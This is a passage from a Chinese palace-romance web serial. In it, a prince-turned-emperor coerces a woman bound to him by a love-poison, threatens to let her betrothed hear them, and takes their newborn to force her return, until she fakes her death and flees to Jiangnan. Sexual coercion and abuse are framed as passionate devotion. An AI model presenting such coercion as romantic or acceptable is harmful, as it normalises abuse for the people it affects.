说完话,她狠下心转身离去。 见暮色已至,她捏紧了手指,向裴争的营帐行去。 甘愿么? 显然,她并不愿意。 只是身中情蛊,为了活命, 即使再不愿意,她也不得不顺从。 委身于裴争, 成为他的玩物。 ************* 片刻后,沈念行至裴争帐前, 长戈早已等候在帐外,见到她后,他恭谨行了一礼,“沈姑娘请。” 随后长戈又将周围人尽数散去,今夜是月圆之时,一会儿会发生什么,不言而喻,自然不会让人打扰。 沈念站在帐外思虑良久,手指几近伸出又缩回,最终心一横走了进去。 无论怎样,她今夜注定逃不过。 与一个月前的选择一样,她不可能弃自己的性命于不顾。 入内后,绕过那道熟悉的屏风,她便看到那男人阖着眼倚在软榻上,单手支撑头颅,另一只手有一搭无一搭地在腿上轻点,身上的寝衣松松垮垮,似是刚刚沐浴过。 “臣女…见过殿下。” 她压下心中的慌乱,俯身行了一礼。 听到她的声音,裴争倏地睁开双眸,冷声开口:“过来。” 闻言,沈念低下头,迈着沉重的步子,走上前。 小姑娘迈着小心翼翼的步子,水汪汪的眸子里满是无助,微微颤抖着双肩,就好似一只湿了羽翼的雏鸟。 让人见了心生怜爱。 待她走近后,裴争起身下榻,缓步走到她身前,并伸出手将她拽入怀中,手臂紧紧勒住她的腰肢。 突然落入男人的怀抱,沈念先是惊呼一声,而后低下头微微喘息着,身子簌簌地发起抖来。 感受着裴争的手指游走在她的腰肢,有一下没一下地捏着她腰间的软肉,而那处还留着前日宋淮之落下淤青的吻?,这么一碰那疼痛更加明显了,沈念眉宇间拧成一团,紧紧咬唇忍着痛,几乎要咬出血。 见娇花在怀被揉弄,身前的柔软紧紧贴着他的胸膛,轻微地喘着气,勾人而不自知,裴争没忍住凑向她的颈间,哑着声音,“嘶,沈念,你今夜倒是乖,怎么不躲了?” 那股温热的气息扑在脖颈,痒痒的,沈念本能地缩着肩,眼里水光粼粼,“臣女不敢躲。” 她哪里敢躲,又哪里能躲? 往日的每次都是不敢的,何况今夜他们还需要解蛊活命。 “你不敢么?” 说罢,男人继续向下,细细密密的吻落在她的颈间,语调缓缓道:“今夜你主动伺侯孤好不好?嗯?” 主动—— 他要她如何主动? 沈念不明他的话是什么意思,只轻轻摇着头,拒绝着,“殿下,臣女…臣女不会。” 他落下的吻引起一阵阵异样的酥麻,她只觉脸颊发烫,心仿若要跳出胸膛。 沈念不会这件事不假,一般闺房之事,都是要女子成婚前由专门的教导嬷嬷开导男女之事,她眼下并未成婚,自然对于床事处于懵懂无知状态,若不是裴争开导,她更是一窍不通。 又怎么会懂什么是主动伺侯? 男人的话听得她脸面更烧,恨不得钻进地缝里去,躲避这份羞耻。 “嘶,你不会啊,”裴争轻嗤了一声,语调端得散漫,“那孤教你啊。” 旋即男人的手臂转而勒住她的桃尻,用力往上一拖,将她整个拖起至他的腰间。 整个人腾空而起,沈念的手无处安放,只好落在男人的肩膀以作支撑,怕到声音微颤,“殿下…要做什么?” 他们不是要解蛊么? 怎么与第一次完全不同了? 难道不是熄了灯就开始么? 只一瞬,裴争拖起她倚在榻上,而此时她却正坐在他的跨间。 这个姿势太过于奇怪,沈念僵在那里不敢动,眼神也不知该看向何处,随后不知是否是情蛊的作用,他们二人越来越热,本来她怕靠近男人,眼下内心却有一股靠近他的冲动。 她咬着唇,极力克制这份冲动。 裴争见小姑娘双颊绯红,嘴唇紧抿着,就像是在掩饰内心的情欲,他伸出手指摩挲着她垂落在身前的发丝,扯了下唇,“沈念,莫要忍了,情蛊发作,你也渴望孤的身子,对不对?嗯?” 沈念摇了摇头,羞得说不出话,她清楚情蛊所致,他们对彼此身体的渴望到了极制,亦感知到男人腰间的玉佩,正硌着她,让她很不舒服。 “臣女…没有。” 她不想承认,不想承认自己的身子在渴望。 “别急,”裴争垂眸看着她,呼吸沉沉,语气也多了几分安抚的意味,“惊喜未到,再忍忍。” 沈念不知道裴争口中说的惊喜是什么,抬眸见他狭长的眼眸浮现出迷离,亦是急促呼吸着,似在竭力克制。 这时,门外突然传来长戈的禀告声,“殿下,人已带到。” 闻言,裴争扯了扯唇角,并未说话,只眯着双眸看她。 沈念不禁好奇门外之人到底是谁,眼下这种情况,裴争还要出去么?还能见人么?而正当她心中疑惑时,门外却传来熟悉的声音。 “臣见过殿下。” “不知殿下这时召臣前来,是有什么事?” 沈念瞳孔紧缩,宛若一道雷劈在头顶,脸色唰地一下惨白,一瞬间,恐惧涌上心头,冷汗湿透了后背。 她没想到门外的人竟然是宋淮之,裴争竟然在这个时候把她的郎君叫来此处。 他到底要做什么? 见小姑娘眸中闪烁着惊恐,裴争嘴角噙着笑,却萦绕着说不清道不明的意味,俯身靠过来低声道:“怎么样惊喜么?你说孤要不要把他叫进来,亲耳听听孤是如何弄你的,好不好?嗯?” 沈念脸色由白转青,抓住男人的臂弯,嘴唇颤抖得厉害,小声呜咽着哀求: “不要……殿下,臣女求你不要……” “不要让他进来,臣女求你。” 她同裴争这般已是对不起宋淮之良多, 若是还在他面前这般…… 她宁愿去死。 “不要?”裴争的手扣住她的后脑勺,逼迫她靠近,狠下声音: “别忘了你们二人是如何在孤面前恩爱的!” “孤今日就是要尽数报复回来。” “孤就要让他听着,你是如何同孤欢好的。” 50-60 第51章 夜色沉酽,天空似被浓墨染过,难觅月影,直到那一声婴儿啼哭响彻整个殿内,乌云消去,皎洁的月光穿透云层,落在帝王微微颤抖的龙袍上。 捏着板指的手终于在这一刻缓缓松开。 几息后,接生嬷嬷从产房走出来,怀中还抱着刚出生的孩子,笑道:“恭喜陛下,贺喜陛下!贵妃娘娘平安诞下小皇子!” 话音落,周围的宫婢们皆跪在地上,贺喜:“恭喜陛下喜得皇嗣!” “赏,” 裴争唇角缓动,没看襁褓中的皇子,而是吩咐嬷嬷抱着孩子同他进殿见沈念。 他快步绕过隔帘,见榻上的沈念脸色惨白,毫无血色,唇瓣上留着贝齿咬过的痕迹,已渗出血迹,额头上泛出细密的汗珠,仿若下一刻就要消散了。 见状,他走上前坐在她身侧,唤了一声,“卿卿?” 闻声,榻上的沈念撩开沉重的眼皮,她累到连睁开眼都要费好大一番力,瞧着那男人坐在她身侧,肉眼可见的心情大好,身后的嬷嬷正抱着她刚刚诞下的孩子。 裴争吩咐道:“把孩子给娘娘看一眼。” 听到帝王吩咐,嬷嬷抱着孩子凑上前,小心翼翼打开襁褓,沈念没忍住,终是看过去,襁褓只揭开一点,能看到那孩子肌肤红彤彤,皱巴巴的,小小的一团缩在襁褓里,吮吸手指安稳睡着。 丑丑的一团。 没想到刚出生的孩子回会这样丑。 只一眼,沈念收回目光,接着那男人又吩咐嬷嬷抱走。 “是男孩么?” 她多问了一句,仅仅是出于好奇,因为这孩子在她肚子里时十分闹腾,尤其是七八个月时,总是闹得她无法入睡,在肚子里翻了天,那时她便猜测肚子里的一定是个调皮的混小子。 裴争盯着她,唇角扯动,声音罕见的柔,“卿卿为朕诞下的是小皇子,朕已给他起好名字,单一个昱字。” “裴昱,” 沈念倚靠在那里,没说话,昱儿,裴昱,倒是个好名字,寓意也好。 只是…… 她垂下眼睫。 随后,那男人忽地靠过来,沈念顿时心口起伏,想推开他,奈何身子没力气,只能任着他吻向她的额间,鼻尖……再到唇瓣,从轻吻转变为唇齿交缠,一点一点将滚烫的气息喂进她嘴里。 沈念因刚刚生产,身子累极,被他吻着,更不舒服,心中泛起一阵又一阵厌恶,最后实在受不住她咬了一口他的舌尖,那男人才放过她。 裴争低笑一声,抚着她的头,“卿卿,过几日同朕回宫好不好?嗯?” 沈念立马回绝:“不要,我不想回去。” 她怎么能回去? 她还要逃啊。 听到小姑娘的拒绝,裴争敛去方才柔和,冷下脸,替她掖了掖被角,眼神悠悠停在她身上,“嘶……卿卿不愿意同朕回宫?” “那朕也不逼你,毕竟你才给朕生下孩子。” 沈念抬眸望向他,目光微微一顿,他何时转了性,竟这般好心?不再逼她了? 她不信。 果然片刻后,那男人又开了口:“朕今日会把昱儿抱回宫,等你何时回去,再去见昱儿,否则——” 他停顿片刻,没继续说下去。 沈念勾勾唇,笑了笑。 原来…… 原来他是想用孩子逼她回宫。 想到这里,她有些恼,双手攥紧拳头,“否则你就不让我看孩子么?” 不让看就不看,她对这个孩子又没有太多的感情,她早该知道他根本没那么好心,这次变了花样,是想让她彻底屈服,跟他回宫,再次成为笼中雀。 一个孩子不够,他是不是还要逼她生一个? “卿卿回宫才能看孩子啊。”裴争抚摸上她微肿的唇瓣,声音冷若冰霜,“答应跟朕回宫,才能见昱儿。” 她推开他的手,再度开口: “我不看。” 被一次次拒绝,男人鲜见地有些恼,起身吩咐:“都仔细伺候着,照顾好娘娘!” 旋即他又吩咐嬷嬷抱着孩子跟他回宫。 嬷嬷转身离开殿内时,不由得在心中叹了几口气,怀中的小皇子毕竟是刚出生的孩子,一口娘亲的奶水都没喝上,就被强行抱走,这么点的孩子,怎么能同娘亲分离x?当真是可怜。 听完男人的吩咐声,沈念靠着仅余的力气转过身,不再看向裴争和孩子。 后,殿门被推开,殿内的脚步声越来越远。沈念揪着锦枕劝自己,那孩子不过是被逼着生下的,她早晚要逃,日后孩子也同她什么关系都没有。 什么关系都不会有, 她不爱,不会爱…… 然,就在殿门关上的那一瞬间,襁褓中的小裴昱,不知是被吓的,还是感知到马上与娘亲分离,竟哇哇哇地大哭起来。 殿外婴儿的啼哭声传来,沈念的心脏瞬间像是被什么东西撕碎,那哭声也化作刀子扎入她的心,闷闷地疼。 不知哪里来得念头,驱使着她起身下榻,但因她身子虚弱,没走两步,便双腿发软倒下去,腰肢不小心磕到桌角,打翻了案上的热茶淋在腿上,似针扎入肌肤,灼热感哗地铺开。 一旁的宫女赶忙上前扶起地上的她,可是她怎么也起不来。不知是哪里的疼只一瞬间便钻入心尖,如同万蚁蚀心。 殿外啼哭依旧,沈念揪住衣角,最终没忍住疼,晶莹剔透的泪水从眼眶滚落,落在衣襟,手背……水痕深重。 起初她只当那孩子是一个莫须有的东西,被迫生下,更多次想流掉他,可眼下她为什么会难过呢? 那个孩子同她没关系啊。 沈念,不能哭, 没出息,不准哭。 * 裴争在听到殿内小姑娘的哭声后,脚步一顿,他没听错,那是沈念在哭,她明明也是舍不得孩子,为何就不能向他低头? 难道她还要他低声下气求她回去? 只要她顺着他,说一句愿意回去, 他一定会让她亲自带着昱儿。 自她怀孕以来,他对她让步太多, 这次,休想。 最后,裴争转身想接过孩子。 身后的嬷嬷忽地愣住,这……眼前的帝王他竟要亲自抱孩子? “陛下,婴儿娇弱……” “给朕,” 裴争睨着嬷嬷,冷下声音。 嬷嬷倒吸一口凉气,没敢再拦,只小心翼翼将孩子送到帝王手中。 裴争接过昱儿后,学着方才嬷嬷的样子抱着,生怕他掉在地上,稳稳拖住他后,他转身进了车舆,将昱儿放进早已备好的摇篮中。 小裴昱自从被裴争抱在怀中倒越发安稳起来,即使把他放在摇篮中,也未哭闹,只张着两个小手想抓什么。 见状,裴争伸出手,昱儿当即攥住,呵呵笑起来,他轻轻挑眉一笑。 因刚刚哭过,小裴昱的眼里还含着几滴泪,可怜巴巴的,眉眼之处像极了沈念,倒是同她哭起来很像。 思及此,他唤一声,“昱儿,” 接着,又轻轻摸了摸一下昱儿小小的手指,俯身凑近,还带着一股奶香。 甜甜的,让他心底忍不住生出几分柔情。 小昱儿这般可爱,他不信沈念可以忍住一直不见自己的孩子,最后她一定会向他低头,一定会。 …… 转眼又过了七日,这段时日沈念一直乖乖吃药调养身子,毕竟再有几日就是逃跑的日子,若是不把身子养好,如何逃? 这日她刚刚喝完药,躺在榻上歇息,帝王又来了,她没想搭理他,倚在榻上一动没动。 把他当做空气, 来便来,走就走。 裴争进殿后瞧见榻上的小姑娘气色好了不少,又从宫女口中得知,她近来很听话,喝药,吃饭都乖乖的,她没动,他也不恼,毕竟再已对她的无礼司空见惯。 她不叫他陛下,也不自称臣妾, 他对她真是百般容忍。 他走近后,坐到榻上,看着沈念这般模样,心底生出几分怜惜之情,他不想忍,也忍不住,俯身渐渐靠近。 沈念见他要吻过来,心中翻涌,捂住嘴之余,又抬手打了他一巴掌,咬牙骂道:“流氓,别碰我!” 许是被她打习惯了,裴争早已预判她要做什么,伸哪只手,当即攥住她的手腕,阻止她的巴掌落下。 他冷嗤一声,继续俯身压过来,半眯眼眸,抚着她的侧脸,“骂朕是流氓?生完孩子就不让碰了?” “忘记自己是朕的女人了?要朕帮你回忆回忆么?嗯?” 而后沈念的双手被他控制住,力量完全不敌,挣扎之余,他再次靠近吻上她的唇,罕见地这次很温柔,只是单纯的吻。 吻罢,沈念推开他的肩膀,再度开口骂:“混蛋,滚开。” 裴争没恼,只低声闷笑,而后缓缓道:“这七日昱儿胖了不少,样貌同你很像,特别是眉眼间。” 提到昱儿,沈念心跳漏了半拍,只是还未等她回过神,那男人又问:“卿卿,想清楚了么?” 她垂下眼帘,明白对方问的是什么,无非就是她愿不愿意回宫,她怎么能愿意呢? 还有不出五日,她就要离开了啊。 沈念别过头,态度明确:“我,不回去。” 死也不回去, 她一定要逃出去。 “好啊,好得很,你不回去就休想看昱儿一眼。”裴争睨她一眼,转身离去,行到门槛时,继续道:“这几日朕不会来,你若是想清楚了,就派宫女告诉朕。” “沈念,别不识趣。” 沈念没说话,反正她都要离开了。 两人再次不欢而散。 正如他所说,他这几日因筹备立后大典不会前来,倒是给了他们充足的时间准备。 孟绥最后一次给她诊脉,便是在计划逃跑的前一日,他偷偷说了很多安排,沈念一一记在心中。 三日后,到了计划的日子, 白日里沈念焦急等着夜幕降临,心口却一直在阵阵发慌。 第52章 立后大典这日,沈念心口一直发慌,她害怕裴争会对他们的计划有所察觉,若是这次不能逃出去……那么等着她的就只有更痛苦的折磨。 白日里,为了不让人看出端倪,她强迫自己看话本打发时间,亦或是躺在榻上,可无论怎么样,她都觉得时间过得好慢,好慢,恨不得快点到夜里,再快点…… 若是那男人一时兴起来找她,怎么办?恐怕这次不逃,她就永远逃不出去了。 时间一点点过去,直到夜幕降临,没出差错,终于有机会逃了。 …… 入夜后,沈念以要歇息为由屏退殿内所有宫女,而后她快速换上前几日孟绥为她备好的宫女衣物,拿出藏在锦枕下的火折子。 孟绥说,她需要放一场大火烧别院,而他则会替她善后,备一具和她体型相似的女尸营造她葬身火海的假象。 这样任裴争如何敏锐,也会认为她死了,不会再去抓她,她不会再次落入他的股掌。 起初沈念也怕这中间会出什么披露,让裴争起疑心,不过孟绥再三对她保证,此计划天衣无缝。 沈念攥着火折子,眼睛变得朦胧起来,也想了很多很多。 她同裴争相识于一场意外,那时的她不过是因为一时心软才出手相救,却不料共同中情蛊,若是早知如此,她定然不会救他,任凭他如何恳求,都不会。 她不是圣母,更厌恶那些所谓的见死不救便是恶毒的言论,她的心是软,可救人更要确保自己万无一失,若是出手相救会让她自己丢了性命,那么她会选择见死不救。 所以她后悔,后悔那日招惹上裴争,她永远不会忘记,他是如何把她当做一个玩物玩弄于股掌。道观,汤池,皇宫……他一直都在逼她,逼她同他行男女之事,逼她对他屈服,还逼她生下昱儿。 昱儿…… 那个不被她期待的孩子。 可终究是她怀胎十月生下的。 生产那日,仅见了一眼,眉眼间有她的影子,此生或许再也不会见到他。 无论如何,她都要逃。 思虑清楚后,沈念拿起火折子,靠近床榻上的帐帘,毫不犹豫点燃,扔出去。 霎时间,熊熊大火燃起,烟雾缭绕,她f用帕子掩住口鼻,却仍被呛得连连咳嗽,直到火势越来越大,殿外的宫女有所察觉,当即躁动起来。 “快!快去救火!娘娘还在殿内!快去!” “来人快去宫里禀告陛下!” 听到殿外宫女的躁动声后,知他们全部都赶去救火,她没耽搁,趁乱从后门跑出去,看到早已等候多时的车舆,毫不犹豫走上去。 宋淮之坐在车舆上等着她,见到她的身影,将她拥入怀中,喜极而泣,“卿卿!你终于出来了。” 沈念的身子怕到发抖,显然是怕到极点,感受到郎君的怀抱,才好一点,“淮之,我们快走!” 她不想再待下去,只x想快点离开。 见沈念上了车舆,孟绥派人偷偷将另一具女尸扔进火海后,当即返回,扬长而去。 * 这边,皇宫太极殿。 今夜的风很大,支摘窗被吹得砰砰作响,裴争吩咐宫女加了炭火后,靠在椅子上看着方才礼部送来的婚服,而小裴昱则在一旁的榻上张手玩着什么。 一大一小, 一个在案前,一个在榻上。 他盯着喜服,竟在脑海中想象出,沈念穿着喜服的模样,这时他又想起,她的确穿过,不过那夜不是为他穿的。 而是她为宋淮之那个草包,还有那件绣着宋淮之名字的肚兜,当夜用完后便被他烧毁。 不得不承认,大红色很衬沈念,穿上喜服,她肌肤衬得更加莹白,勾勒出的纤纤腰肢,盈盈不堪一握,哪哪都软软的,尤是身前沟壑分明,那两团雪白,更是手感极佳。 沈念就像一味毒药,一旦染上便食髓知味,永远不会放过,只想,也只能同她一人做那些亲密之事。 此前他对于男女之事从来是淡淡的,不屑一顾,更觉得恶心,可有些事一旦尝到滋味,譬如同沈念行男女之事,他做不够,像上了瘾。 想到这里,他心底泛起一股不知名的燥热和冲动窜遍全身,他这是想沈念了么? 不,不可能, 他怎么会想她? 正这时,软榻上的小裴昱突然咿咿呀呀起来。闻声,他望过去,见小昱儿在榻上伸出手想抓纱帐上的流苏,因为揪不到,气得将身上的襁褓踹下去,小拳头不断晃动着。 无论如何也没放弃,又犟又倔。 见状,裴争唇角缓动,看着小昱儿自己在那里玩,不哭不闹,奶娘同他说这孩子能吃能睡,不过性子倔得很,很明显随了他娘亲。 这么久了,沈念竟还在同他犟,还不愿意回宫,不愿意回来见昱儿。那可是她亲生的孩子,世人皆道,没有哪个母亲可以舍下孩子,莫要说还是才刚出生的婴孩,所以他坚信,沈念迟早会忍不住,迟早会回宫见孩子。 不过,她真是痴傻,若是在立后大典之前,同他说她愿意回来,他说不定会放弃立后,后宫之中只有她一个人。 只是…… 她实在不识趣。 他刚抬步要去逗咿咿呀呀的昱儿,这时殿外的长戈忽地急匆匆进殿,禀告: “陛下,大事不好了!” “别院的宫女传来消息,说……说别院走水,贵妃娘娘已葬身火海!” “什么?” 裴争心口猛地一滞,似被针扎了一样疼,一瞬间忽然觉得自己什么都听不到,耳畔只有嗡嗡的声音。 缓了几息,他咬着牙,眸色猩红,“给朕再说一遍!” 帝王眼下与刚从地狱中爬出来的厉鬼无异,额上青筋暴起,骤然阴鸷至极。 长戈自幼跟在帝王身侧,从未见过他如此模样,忐忑重复道:“陛下,贵妃娘娘已葬身火海!烧得面目全非了!” 话音刚落,榻上的小裴昱在一瞬间,哇地一声大哭起来,就像是感知到自己的娘亲出了事而难过。 霎那间,他的呼吸从平静变得急促,最后就像是有一只大手紧紧扼制住他的心脏,令他无法呼吸。 接着,他大步要前去,却被长戈拦住,“陛下!已经晚了,娘娘她……她是自己放火烧的……” 闻言,裴争眸色越发可怕,声音狠辣, “闭嘴,给朕闭嘴!” 怎会?怎么会? 他不信, 沈念明明是那般惜命之人,当初为了活命,连女子最重要的清白,都可以不顾,这样的人,怎么可能放火烧死自己? 她不会死,不会… 都在骗他,竟然敢骗他。 裴争还要上前,殿中的宫女侍卫皆跪在地上,“陛下!万万不可!” 他抬脚踹开身前的太监,声音冷到极致,“都给朕滚开!” “滚!” 见他们仍是不让,裴争回头抽出案前的佩剑,“没听到么?都给朕滚开!” 在抽出佩剑那一瞬间,他不小心划伤自己的手掌,血在一滴一滴往下流,染红了龙袍,可他却似感觉不到疼。 他要去找沈念,生要见人,死要见尸, 就算是看到她的尸身,他也要问一问,为何要死?怎么敢死? 他给她的不够多么? 贵妃之位,专宠,放走沈家, 一桩桩一件件,他做的还不够么? 他们之间还有孩子啊, 昱儿才出生半个月。 她什么都不顾了么? 到底为什么?沈念…… 殿内的宫女和太监见陛下杀红了眼,他们不敢再拦,皆退在一旁。 “陛下息怒!” 无人再拦,裴争大步冲出殿外,然而就在他走到门槛时,他的呼吸更加急促,头疼欲裂,接着就像是有什么东西在胸口炸开。 什么都说不出来,只有闷闷的疼,到最后,他身子晃了晃,再也无法支撑身子,向后倒了去。 裴争晕倒后,长戈当即传了太医,说他只是因急血攻心,休息一夜便安然无恙。 长戈松了口气,夜里照顾帝王时,听他迷迷糊糊说着什么话,凑近后才听清,他在唤“卿卿”二字。 …… “卿卿!” 裴争是伴着噩梦醒来的,他梦到沈念当着他的面跳入火海,而他却什么都抓不住,只能亲眼看着她一点一点被火吞噬。 清醒过来已是次日辰时,他醒来的第一件事便是询问,沈念的尸身何在? 长戈忐忑回应:“陛下,娘娘的尸身已面目全非,只剩下一具空壳。” “在别院未做处理,在等陛下决断。” 裴争捏住手中的玉板指,冷声,“给朕抬入宫。” 长戈看不透帝王眼下到底是什么意思,但也不得不照做,“是……” 随后,又想起今日是立后大典,他不得不上前提醒,“陛下,今日的立后大典,可要一一” 他想问,还要不要继续举行。 贵妃娘娘去世,他估摸着陛下再无什么心思立皇后吧。真是可怜了刚出生的小皇子,就这样没了娘亲。 “要不要属下告知他们一一” 裴争冷嗤一声,死死盯着眼前的婚服,眸底情绪晦暗不明,“立后大典,当然要举行啊,这怎么能推迟?” 见帝王在笑,长戈顿时觉得毛骨悚然,说出的话颤颤巍巍的,“是!属下遵旨。” 长戈退下后,裴争忽地又笑出声,带着几分癫狂,“沈念,你不是寻死么?好啊,就算是死,朕也不会放过你。” 第53章 举行立后大典时,正值沈念出京城,按原计划他们此时早已逃出京城,然而没想到她因尚在月子里,身子忽感不适,又吐又发高热,他们只能停下车舆找地方歇息。 她恨自己身子不争气,更怕出什么差错,坚持要逃,却被孟绥拦下来,吃药歇息一夜后,才恢复精力。 次日出城时,她同宋淮之坐在车舆内,孟绥亲自送他们二人出城,路过朱雀大街时,见每一处都挂着红色纱帐,百姓们也在议论着立后。 这时沈念才想起今日是裴争的立后大典,往日痛苦不堪的回忆瞬间涌上心头,人在车舆中,一切好像都变了,又好像都没变。 她紧紧咬住唇,在心底无数次劝说自己已经逃出来了,这不是梦,她真的逃出来了,日后与裴争再无关系,可尽管如此,她的身子还是止不住发抖,眼里酝酿出两团泪水。 她还在怕。 见小姑娘缩在角落里,肩膀微微颤抖,就像是一只被暴风雨摧残的花朵,再无生机与活力,这还是他的卿卿么? 宋淮之紧紧地抿着唇,小心翼翼上前攥住她的手,垂下眼帘,什么都没说。 冰凉的手掌感知到温热,沈念抬眸看向身前的郎君,见他眼眶泛红,她心中的酸涩再也忍不住,低头啜泣起来,泪水像断了线的珍珠,一滴一滴滚落,无声无息。 她从前是一个极不喜哭的人,任凭伤如何疼,任凭江氏如何责骂,她都不会哭,她想,就算她哭了,又有何人会心疼呢? 然而自从招惹裴争后,她却变得爱哭起来,每一次的心痛都犹如被万千刀剑扎入心脏,疼到无法呼吸,泪水自然而然滑落。 哭了一阵后,她没了力气,最后只能靠在宋淮之的肩膀上。 …… 孟绥此人讲义气,怕出意外,亲自送他们出城门,还准备了足够的银两。 包袱递过来,宋淮之看清楚里面是什么时,又送回孟绥手中,“孟兄这使不得,我们已受你大恩,怎还能收下这么多银两?” “你我之间,客气什么?”孟绥的目光落在沈念身上一瞬,又立刻收回,对着宋淮之笑道:“你同沈姑娘的路还长,钱财于我来说乃身外之物,快收下,想让人家姑娘跟你吃苦么x?” 听他如此说,宋淮之才收下银两,“那多谢孟兄。” 他可以吃苦,可沈念不行。 沈念望向孟绥,也道了声谢,“多谢孟太医照顾。” 最后她还想开口说话,却只动了动嘴唇,又硬生生把话咽了回去,手指不停地绞着衣角。 她不知道此事该如何开口。 孟绥是个极聪慧的,当即明白她在担忧什么,也知她要说什么,再度开口:“沈姑娘放心,我定当竭力相助。” 一语落,沈念知道,他懂了她的意思,没再继续说下去。 她想托他多多照顾昱儿, 到底是自己十月怀胎生下的。 尽管再不喜,也会有几分牵挂。 这也是她能尽的,最后一点当娘亲的责任。 说了一会儿后,她同宋淮之才坐上车舆,扬长而去。 车舆内,宋淮之再次攥住她的手,将她揽入怀中,唇角一点点扬起,柔声问道:“卿卿,我们去哪里?” 沈念想了想:“我们去江南吧,淮之。” 江南,一个她又爱又恨的地方。 六岁之前,她是在那里长大的,同娘亲美好的回忆也都在那里,当然也有痛苦的回忆,想来想去,她还是念着那处,念着与娘亲在一起的那段日子。 “好,卿卿去哪里,我就去哪里。” * 皇宫,太极殿。 明明整个皇宫都挂着喜庆的红色纱帐,却处处透露着阴森,守在殿外的两个宫女站在一起面面相觑。 其中一个宫女拎着灯笼,瑟瑟发抖,“姐姐,你说陛下……他是不是疯了?” 不止她这么想,今日好多宫女太监都在传,陛下已神志不清。 另一个宫女当即伸出手捂住她的嘴,拍了拍她的额头,“你,你莫要胡说!不想要命了?敢议论陛下?” 其实她们二人都清楚,今夜本是立后大典,陛下与皇后娘娘的洞房花烛夜,守婚房这好差事,是她们特意求掌事嬷嬷才得到的,新人入帐,讨彩头领赏钱。 那可是比一年俸禄还多得多。 可是谁能想到,陛下临近婚礼开始,竟将皇后的人选换了人,换人也就罢了,换的竟然还是一个死人! 眼下那棺材还在太极殿放着……那场面说不出的骇人,因陛下此举,太后被气得住进道观,大臣们以死相劝都没拦得住陛下。 “早知道不来了……姐姐,我怎么觉得这里阴森森的。” “是不是有什么不干净的东西……” 说罢,两个小宫女拎着灯笼向一旁照去,丝毫没注意到,身侧何时多出了两个人。 正当回头时,她们尖叫一声,见眼前之人身着龙袍,身后跟着太监总管,这不是陛下又是谁。 他们赶紧跪在地上,“奴婢见过陛下!” 裴争睨着眼前的两个宫女,踢开脚边的灯笼,声音冷得像冰,“下去,领罚。” “是,陛下,奴婢遵旨。” 两个宫女不敢再过多停留,赶紧退下,眼下那帝王就像是要吃人的厉鬼,谁敢停留? 接着,裴争推开殿门走进去,殿中停着喜棺,他缓步走过去推开盖子,只见一具穿着喜服的尸体躺在里面,身上蒙着一块白布。 他想伸出手却最终只停留在半空,攥紧拳头,双眸猩红,声音低哑至极, “沈念,你给朕起来,给朕起来……朕准你死了么?” 说罢,殿内又陷入寂静,根本无人应答。 他对着尸身,继续道: “你为何要死?朕对你不够好么?你想要什么,朕不都答应你了?” “给你贵妃之位,放过沈家,你还要朕如何?” “沈念,你真狠心,扔下昱儿,他才出生半个月。” “说话啊!给朕说话!” 裴争自幼不懂什么是悲哀,他从小被当做储君培养,那位父皇教给他最多的便是,无心无情,以江山为重,尤其是女人,不值得付出过多的精力。 身为帝王,不能爱, 他对她的,是爱么? 看着那具尸身,他仿若失去全身的力气,语气狠辣, “沈念,你给朕起来!!” 一旁的姚元德见帝王大有一副疯癫的模样,赶紧劝说道: “陛下,娘娘已经去了……请陛下节哀。” “陛下想想小皇子啊,小皇子刚没了娘亲,陛下可莫要伤心过度!” 裴争踹了一脚姚元德,“闭嘴!给朕闭嘴,她没死,她没死,你想死么?” …… 姚元德登时向后滚了两圈,随后捡起地上拂尘,伏在地上,求饶:“陛下息怒啊!陛下!” “滚!都给朕滚!” 见帝王动了杀心,姚元德连滚带爬出了殿,这时殿内只剩下裴争一人,他望着棺材内的尸体,伸出手却什么都碰不到,只剩下空壳。 沈念死了, 她真的死了。 为了摆脱他,她不惜放火烧死自己。 想到这里,他忽地嗤笑一声,摩挲着喜棺上的红纱帐,眸色幽深,“沈念,你死了也休想摆脱朕……朕会给你皇后之位,让你入皇陵,与朕永生永世纠缠在一起,好不好?” “想离开朕,不可能。” “你永远属于朕,永远。” 说罢,裴争坐在地上,感受到心口在微微泛着疼,“卿卿,朕永远不会放过你。” 他陪了沈念一整夜,次日天蒙蒙亮时,才推开太极殿的门走出去,他的每一步都像踩在棉花上,路过门槛时还被绊了一脚,随后冷冷吩咐道:“葬了吧。” 眼下的帝王面色苍白,那双眼眸浑浊不堪,透露着深深的疲惫,就连声音也低沉而微弱,好似大病初愈。 姚元德问:“娘娘……她葬在何处?” 历来还没有哪位皇帝立一个死人为后,自然不知这位娘娘该葬在何处。 裴争捏着玉板指,直视着他,咬着牙:“自然是皇陵啊。” “她要永生永世都同朕在一起,死……算什么?” 说罢,他要大步离去,而就在这时忽觉头重脚轻,晕眩不已。 帝王晕倒昏迷十日,期间发狂五次,嘴里唤了卿卿无数次。 而这时的沈念,早已同宋淮之逃到江南,开启新的生活。 * 眨眼已是江南三月,一阵杏花微雨后,青石板路上水光潋滟,春风吹过,杨柳摇曳,一派生机勃勃。 街道不远处,一家医馆门前,人来人往。 “王大娘,你也来这回春堂瞧病啊,哪不舒服?” “哎,这不是老毛病,听说沈姑娘能治,我也来试试。” “大娘算是找对人,这位沈姑娘的医术高明嘞。” 这时,顺着长长的队伍往前,可以瞧见一位姑娘坐在堂前为人细细诊脉,只见这位姑娘一袭碧色罗裙,梳着妇人髻。 一缕阳光映入堂内,落在她身上,更衬得她清丽脱俗,好似碧落荷叶上的一滴露珠,美得动人,像坠入凡间的仙子。 无论一旁的人如何说,都仿若听不到似的,只专心诊脉。 这是沈念来江南的第三年。 刚来时,他们寻了这处县邑安家,不求大富大贵,只求安稳渡日,来了不久,沈念有幸拜了一位老医者为师,且她在医术一点即通,不过一年便已学有所成,出师后拿着当年孟绥给的银两,开了这家回春堂。 生意还算不错,白日里她为人诊脉,宋淮之为她打下手,采药,抓药……都是他的活。 眼下日子安稳,听不到京城中的一点消息,已是莫大的知足。 待最后一位病人离开,已是傍晚。 沈念坐久了未免腰酸,当即伸个懒腰活动活动筋骨,片刻后,她回头望去,看着身后抓药的郎君忙忙碌碌,目光悄悄亮起来。 这时宋淮之察觉到她的目光,抬头果然对上她的视线,弯起唇角,“卿卿,看我做什么?” 她微垂着眼,“辛苦你了,淮之。” 这三年,若不是他伴在她身侧,她可能会活不下去。 宋淮之抓完最后一副药后,快步过来将她拦腰抱起,吻向她的额间:“累了,我抱你回房歇息。” 就这样,沈念被抱进屋内,郎君将她轻轻放在榻上,然而就在他松手时,她忽地攥住他的袖口没让他离开,小声开口:“淮之,我想再试试。” 第54章 “淮之,我想再试试。” 沈念忍不住红了脸,说话的声音也越来越小,“试试”二字几乎是从唇边溢出去的。 